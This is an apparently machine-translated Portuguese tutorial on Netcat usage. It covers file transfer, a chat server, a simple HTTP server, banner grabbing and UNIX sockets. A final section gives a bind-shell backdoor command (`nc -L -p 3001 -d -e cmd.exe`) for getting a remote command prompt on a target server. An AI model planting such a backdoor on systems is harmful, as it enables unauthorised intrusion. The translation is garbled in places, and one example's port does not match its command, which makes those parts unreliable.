8 Netcat (nc) Command with Examples

Netcat (or nc in short) is a simple yet powerful networking command-line tool used for performing any operation in Linux related to TCP, UDP, or UNIX-domain sockets.

Netcat pode ser usado para varredura de portas, redirecionamento de portas, como um ouvinte de portas (para conexões de entrada); ele também pode ser usado para abrir conexões remotas e muitas outras coisas. Além disso, você pode usá-lo como um backdoor para obter acesso a um servidor de destino.

neste artigo, vamos explicar os comandos de Utilização do Netcat com exemplos.,

como instalar e utilizar o Netcat no Linux

para instalar o pacote netcat no seu sistema, utilize o Gestor de pacotes predefinido para a sua distribuição Linux.

$ yum install nc $ dnf install nc $ sudo apt-get install Netcat 

Uma vez instalado o pacote netcat, você pode continuar a aprender o uso do comando netcat nos seguintes exemplos.

varrimento portuário

Netcat pode ser usado para varrimento portuário: para saber quais os portos que estão abertos e serviços em execução numa máquina-alvo. Ele pode digitalizar um único ou múltiplo ou uma gama de portas abertas.,

aqui está um exemplo, a opção -z define nc para simplesmente procurar por servidores de escuta, sem realmente enviar quaisquer dados para eles. A opção -v activa o modo descritivo e -w especifica um tempo-limite para a ligação que não pode ser estabelecido.,

Digitalizar para Abrir Portas no Linux

Transferência de Arquivos Entre Servidores Linux

o Netcat permite que você transfira arquivos entre dois computadores Linux ou servidores e estes dois sistemas devem ter nc instalado.

Por exemplo, para copiar um ficheiro de imagem ISO de um computador para outro e monitorizar o progresso da transferência (usando o utilitário pv), execute o seguinte comando no computador do remetente/servidor (onde o ficheiro ISO existe).,

isto irá rodar nc no modo de escuta (-l flag) na porta 3000.

$ tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso | pv | nc -l -p 3000 -q 5

e no computador receptor/cliente, execute o seguinte comando para obter o ficheiro.

$ nc 192.168.1.4 3000 | pv | tar -zxf -
Transferência de arquivos Entre Sistemas Linux

Criar uma Linha de Comando do Servidor de bate-Papo

Você também pode usar o Netcat para criar uma simples linha de comando do servidor de mensagens instantaneamente., Tal como no exemplo de utilização anterior, o nc deve ser instalado em ambos os sistemas utilizados para a sala de chat.

num sistema, execute o seguinte comando para criar a escuta do servidor de chat no Porto 5000.

$ nc -l -vv -p 5000

no outro sistema, execute o seguinte comando para lançar uma sessão de chat para uma máquina onde o servidor de mensagens está em execução.,

$ nc 192.168.56.1 5000
Criar Servidor de bate-Papo em Linha de Comando

Criar um Servidor Web Básica

com o -l opção de nc comando usado para criar uma base insegura servidor web para servir web estáticas de arquivos para fins de aprendizagem. Para demonstrar isso, crie um arquivo .html como mostrado.

$ vim index.html

adicione as seguintes linhas HTML no ficheiro.

<html> <head> <title>Test Page</title> </head> <body> <p>Serving this file using Netcat Basic HTTP server!</p> </body></html>

gravar as alterações no ficheiro e sair.,

em seguida, servir o arquivo acima sobre HTTP, executando o seguinte comando, que irá permitir que o Servidor HTTP para correr continuamente.

$ while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done
Criar Web server na linha de Comando

em Seguida, abra um navegador web e pode acessar o conteúdo usando o seguinte endereço.,


Servidor Web de Teste

Note que você pode parar o Netcat servidor HTTP pressionando .

Troubleshoot Linux Server Connection

Another usage of Netcat is to troubleshoot server connection issues. Aqui, você pode usar o Netcat para verificar que dados um servidor está enviando em resposta aos comandos emitidos pelo cliente.

O seguinte comando recupera a página inicial de example.com.,

$ printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80

a saída do comando acima inclui os cabeçalhos enviados pelo servidor web que podem ser usados para solucionar problemas.

encontre um serviço rodando no Porto

Você também pode usar o Netcat para obter banners de Porto. Neste caso, dir-lhe-á que serviço está a funcionar atrás de um determinado Porto. Por exemplo, para saber que tipo de serviço está rodando atrás da porta 22 em um servidor específico, execute o seguinte comando (substitua 192.168.56.110 pelo endereço IP do servidor de destino). A opção -n significa desactivar as pesquisas de DNS ou serviços.,

$ nc -v -n 192.168.56.110 80
Find Service Running on Port

Create a Stream Sockets

Netcat also supports creation of UNIX-domain stream sockets. The following command will create and listen on a UNIX-domain stream socket.

$ nc -lU /var/tmp/mysocket &$ ss -lpn | grep "/var/tmp/"
Create Stream Socket in Command Line

Create a Backdoor

You can as well run Netcat as a backdoor., No entanto, isto exige mais trabalho. Se o Netcat for instalado em um servidor de destino, você pode usá-lo para criar um backdoor, para obter um prompt de comando remoto.

para agir como backdoor você precisa Netcat para ouvir em uma porta escolhida (p.ex. Porto 3001) no servidor de destino e então você pode se conectar a esta porta a partir de sua máquina da seguinte forma.

Este é o comando que se pretende executar no servidor remoto onde a opção -d desactiva a leitura do stdin, e -e especifica o comando a executar no sistema alvo.,

$ nc -L -p 3001 -d -e cmd.exe 

Last but not least, Netcat can be used as a proxy for different services / protocols including HTTP, SSH, and many more. Para mais informações, veja sua página de homens.

$ man nc

neste artigo, explicamos 8 exemplos práticos de utilização de comandos do Netcat. Se você conhece qualquer outro caso de uso prático(s), compartilhe conosco através do formulário de feedback abaixo. Também podes fazer uma pergunta.

Deixe uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *

Ir para a barra de ferramentas